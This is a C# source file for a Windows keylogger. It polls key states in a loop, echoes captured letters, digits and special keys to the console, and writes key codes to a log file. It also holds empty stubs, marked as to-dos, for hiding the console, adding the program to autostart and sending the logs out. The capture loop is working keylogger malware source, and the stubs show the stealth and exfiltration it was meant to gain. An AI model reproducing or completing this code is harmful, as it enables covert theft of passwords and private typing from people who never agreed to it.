using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Runtime.InteropServices;
using Keylogger.vkeys;
using System.IO;
using System.Windows.Forms;
namespace Keylogger.Functions
{
    class functions
    {

        [DllImport("User32.dll")]
        private static extern short GetAsyncKeyState(System.Int32 vKey);

        // Todo: Write a function that hides console itself.
        public void HideConsole() {

        }
        //Adds itself to autostart.
        public void AddToAutostart() {

        }

        public void SendLogs() {

        }

        public void SaveLogs(int digit) {
            String path = @"C:\Users\Kuba\Desktop\keylogger_test\logs.txt";
            if (!File.Exists(path)) {
                using (StreamWriter sw = File.CreateText(path)) {
                    sw.WriteLine(digit);
                 }
            } else if (File.Exists(path)) {
                using (StreamWriter file = new StreamWriter(path, true)) {

                }
            }

            }
        //Turns on the keylogger
        public void TurnOn() {
            int digit;
            int temp;

            KeysConverter kc = new KeysConverter();

            while (true) {
                //Reads letters
                for (digit = 65; digit < 91; digit++) {
                    temp = GetAsyncKeyState(digit);

                    if (temp == -32767 && !Convert.ToBoolean(GetAsyncKeyState(Convert.ToInt32(vkeys.VirtualKeyCode.Shift)))) {
                        Console.Write((char)(digit + 32));
                        SaveLogs(digit);

                    } else if (temp == -32767 && Convert.ToBoolean(GetAsyncKeyState(Convert.ToInt32(vkeys.VirtualKeyCode.Shift)))) {
                        Console.Write((char)digit);
                        SaveLogs(digit);

                    }
                }

                //Reads digits
                for (digit = 48; digit < 58; digit++) {
                    if (GetAsyncKeyState(digit) == -32767) {
                        Console.Write((char)digit);
                        SaveLogs(digit);
                    }
                }
                if (GetAsyncKeyState(Convert.ToInt32(vkeys.VirtualKeyCode.Space)) == -32767) {
                    Console.Write(" ");

                }
                if (GetAsyncKeyState(Convert.ToInt32(vkeys.VirtualKeyCode.Return)) == -32767) {
                    Console.Write("[ENTER]");

                }
                if (GetAsyncKeyState(Convert.ToInt32(vkeys.VirtualKeyCode.Back)) == -32767) {
                    Console.Write("[BACKSPACE]");
                }
                if (GetAsyncKeyState(Convert.ToInt32(vkeys.VirtualKeyCode.Capital)) == -32767) {
                    Console.Write("[CS]");
                }
                if (GetAsyncKeyState(Convert.ToInt32(vkeys.VirtualKeyCode.Delete)) == -32767) {
                    Console.Write("[DELETE]");
                }
                if (GetAsyncKeyState(Convert.ToInt32(vkeys.VirtualKeyCode.Tab)) == -32767) {
                    Console.Write("[TAB]");
                }
                if (GetAsyncKeyState(Convert.ToInt32(vkeys.VirtualKeyCode.Escape)) == -32767) {
                    Console.Write("[ESC]");
                }
                if (GetAsyncKeyState(Convert.ToInt32(vkeys.VirtualKeyCode.Menu)) == -32767) {
                    Console.Write("[ALT]");
                }
                if (GetAsyncKeyState(Convert.ToInt32(vkeys.VirtualKeyCode.Snapshot)) == -32767) {
                    Console.Write("[PRTSCR]");
                }
            }
        }

    }
}